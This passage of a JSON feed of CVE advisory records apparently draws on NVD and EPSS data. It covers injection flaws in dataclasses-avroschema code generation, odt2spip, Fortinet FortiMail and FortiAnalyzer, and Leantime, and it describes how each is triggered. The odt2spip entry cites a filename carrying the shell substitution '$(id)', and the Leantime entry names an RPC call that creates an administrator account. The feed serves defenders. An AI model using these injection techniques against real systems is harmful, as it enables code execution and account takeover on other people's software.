fixes.","publishedAt":"2026-10-13T18:17:17.157Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108380","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0045,"percentile":0.38823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108380","type":"primary","publishedAt":"2026-10-13T18:17:17.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108379","cveId":"CVE-2026-108379","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed inserts a fixed type's namespace value between quotes inside a generated types.confixed annotation without escaping or validating it. A crafted quote can terminate the namespace string and alter the surrounding annotation expression, which Python evaluates when the generated class is defined, allowing arbitrary code execution. Version 0.70.6 fixes the vulnerability by requiring the namespace to be a dot-separated sequence of valid Avro names.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed inserts a fixed type's namespace value between quotes inside a generated types.confixed annotation without escaping or validating it. A crafted quote can terminate the namespace string and alter the surrounding annotation expression, which Python evaluates when the generated class is defined, allowing arbitrary code execution. Version 0.70.6 fixes the vulnerability by requiring the namespace to be a dot-separated sequence of valid Avro names.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.000Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108379","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00343,"percentile":0.27541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108379","type":"primary","publishedAt":"2026-10-13T18:17:17.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108378","cveId":"CVE-2026-108378","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.40.0 through 0.70.5, ClassRepresentation.render_docstring copies a schema record's doc value into a generated triple-double-quoted class docstring without escaping quotes or backslashes. A crafted triple-quote sequence can close the docstring and inject statements into the generated class body, while a trailing backslash can escape the generated closing delimiter, allowing Python code execution during module import. Version 0.70.6 fixes the vulnerability by escaping quotes, backslashes, and unsafe control characters before rendering docstrings.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.40.0 through 0.70.5, ClassRepresentation.render_docstring copies a schema record's doc value into a generated triple-double-quoted class docstring without escaping quotes or backslashes. A crafted triple-quote sequence can close the docstring and inject statements into the generated class body, while a trailing backslash can escape the generated closing delimiter, allowing Python code execution during module import. Version 0.70.6 fixes the vulnerability by escaping quotes, backslashes, and unsafe control characters before rendering docstrings.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:16.857Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108378","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00343,"percentile":0.27541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108378&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108378","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108378","type":"primary","publishedAt":"2026-10-13T18:17:16.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108378&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108378, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108377","cveId":"CVE-2026-108377","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.62.3 through 0.70.5, ClassRepresentation.render_metaclass inserts a schema-controlled Avro record name into the quoted Meta.schema_name field of generated Python source without escaping it. A crafted name can terminate the string literal and inject statements into the generated class body, which execute when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.62.3 through 0.70.5, ClassRepresentation.render_metaclass inserts a schema-controlled Avro record name into the quoted Meta.schema_name field of generated Python source without escaping it. A crafted name can terminate the string literal and inject statements into the generated class body, which execute when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:16.697Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108377","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00377,"percentile":0.31396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108377","type":"primary","publishedAt":"2026-10-13T18:17:16.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108376","cveId":"CVE-2026-108376","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.47.3 through 0.70.5, FieldRepresentation.get_field_default inserts a schema-controlled referenced record name into the callable position of a generated default_factory lambda without validating it as an Avro name. A crafted record name can become an arbitrary Python expression that executes when an instance of the generated model consumes the field default. Version 0.70.6 fixes the vulnerability by rejecting record names that do not match the Avro name grammar.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.47.3 through 0.70.5, FieldRepresentation.get_field_default inserts a schema-controlled referenced record name into the callable position of a generated default_factory lambda without validating it as an Avro name. A crafted record name can become an arbitrary Python expression that executes when an instance of the generated model consumes the field default. Version 0.70.6 fixes the vulnerability by rejecting record names that do not match the Avro name grammar.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:16.550Z","updatedAt":"2026-10-16T23:16:58.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108376","asOf":"2026-10-16T23:16:58.403Z"},"epss":{"probability":0.0048,"percentile":0.4113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108376","type":"primary","publishedAt":"2026-10-13T18:17:16.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108375","cveId":"CVE-2026-108375","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default inserts schema-controlled string, UUID, bytes, and fixed field defaults into quoted literals in generated Python source without escaping them. A crafted default can terminate the literal and inject statements into the generated module, which execute when the module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default inserts schema-controlled string, UUID, bytes, and fixed field defaults into quoted literals in generated Python source without escaping them. A crafted default can terminate the literal and inject statements into the generated module, which execute when the module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:16.390Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108375","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00464,"percentile":0.39959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108375&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108375","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108375","type":"primary","publishedAt":"2026-10-13T18:17:16.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108375&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108375, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104085","cveId":"CVE-2026-104085","aliases":[],"kind":"vulnerability","title":"odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a...","summary":"odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a maliciously crafted filename through the document import form. Attackers can embed shell metacharacters such as $(id) in a non-.odt filename, which survives insufficient sanitization in odt2spip_deplacer_fichier_upload() and LibreOffice::createCommand(), to achieve remote code execution as the web-server user during the LibreOffice conversion process.","detail":"odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a maliciously crafted filename through the document import form. Attackers can embed shell metacharacters such as $(id) in a non-.odt filename, which survives insufficient sanitization in odt2spip_deplacer_fichier_upload() and LibreOffice::createCommand(), to achieve remote code execution as the web-server user during the LibreOffice conversion process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:12.727Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104085","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.01986,"percentile":0.80478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104085","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104085","type":"primary","publishedAt":"2026-10-13T18:17:12.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-57739","cveId":"CVE-2025-57739","aliases":[],"kind":"vulnerability","title":"An improper neutralization of special elements used in an SQL Command (\"SQL Injection\") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail...","summary":"An improper neutralization of special elements used in an SQL Command (\"SQL Injection\") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail 7.4.0 through 7.4.5, FortiMail 7.2.0 through 7.2.8 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests.","detail":"An improper neutralization of special elements used in an SQL Command (\"SQL Injection\") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail 7.4.0 through 7.4.5, FortiMail 7.2.0 through 7.2.8 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:12.100Z","updatedAt":"2026-10-23T22:10:00.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-57739","asOf":"2026-10-23T22:10:00.160Z"},"epss":{"probability":0.00305,"percentile":0.23045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-57739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-57739","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57739","type":"primary","publishedAt":"2026-10-13T18:17:12.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-57739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-57739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-46773","cveId":"CVE-2025-46773","aliases":[],"kind":"vulnerability","title":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,...","summary":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11 may allow a low privileged user to execute arbitrary commands via crafted requests.","detail":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11 may allow a low privileged user to execute arbitrary commands via crafted requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:11.940Z","updatedAt":"2026-10-15T12:10:00.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-46773","asOf":"2026-10-15T12:10:00.230Z"},"epss":{"probability":0.00324,"percentile":0.25222,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-46773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-46773","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46773","type":"primary","publishedAt":"2026-10-13T18:17:11.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-46773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-46773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85990","cveId":"CVE-2026-85990","aliases":[],"kind":"vulnerability","title":"Leantime is an open source project management system.","summary":"Leantime is an open source project management system. Prior to 3.10.0, for the provisionally grouped account-creation and plugin-management surfaces, Leantime's JSON-RPC dispatcher in app/Domain/Api/Controllers/Jsonrpc.php exposes public API service methods, while PermissionEnforcer::enforce allows methods that lack a RequiresPermission attribute. A low-privilege authenticated user with an ordinary browser session can send the required X-Requested-With: XMLHttpRequest header and call leantime.rpc.api.api.createApiKeyWithProjects, which reaches Api::createApiKeyWithProjects, with an attacker-chosen role to create an interactive administrator account. The same missing per-method authorization exposes Plugins::installPlugin, Plugins::enablePlugin, Plugins::disablePlugin, and Plugins::removePlugin to ordinary authenticated users, permitting unauthorized plugin management. The complete provisionally grouped issue is fixed in version 3.10.0.","detail":"Leantime is an open source project management system. Prior to 3.10.0, for the provisionally grouped account-creation and plugin-management surfaces, Leantime's JSON-RPC dispatcher in app/Domain/Api/Controllers/Jsonrpc.php exposes public API service methods, while PermissionEnforcer::enforce allows methods that lack a RequiresPermission attribute. A low-privilege authenticated user with an ordinary browser session can send the required X-Requested-With: XMLHttpRequest header and call leantime.rpc.api.api.createApiKeyWithProjects, which reaches Api::createApiKeyWithProjects, with an attacker-chosen role to create an interactive administrator account. The same missing per-method authorization exposes Plugins::installPlugin, Plugins::enablePlugin, Plugins::disablePlugin, and Plugins::removePlugin to ordinary authenticated users, permitting unauthorized plugin management. The complete provisionally grouped issue is fixed in version 3.10.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:47.707Z","updatedAt":"2026-10-16T23:17:02.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85990","asOf":"2026-10-16T23:17:02.333Z"},"epss":{"probability":0.00417,"percentile":0.35772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85990","type":"primary","publishedAt":"2026-10-13T17:17:47.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82416","cveId":"CVE-2026-82416","aliases":[],"kind":"vulnerability","title":"FrankenPHP is a modern application server for PHP.","summary":"FrankenPHP is a modern application server for PHP. Prior to 1.12.5, FrankenPHP worker mode can retain PHP session state between requests when the session extension is loaded as a shared module and is unavailable through HAVE_PHP_SESSION at compile time. In this build 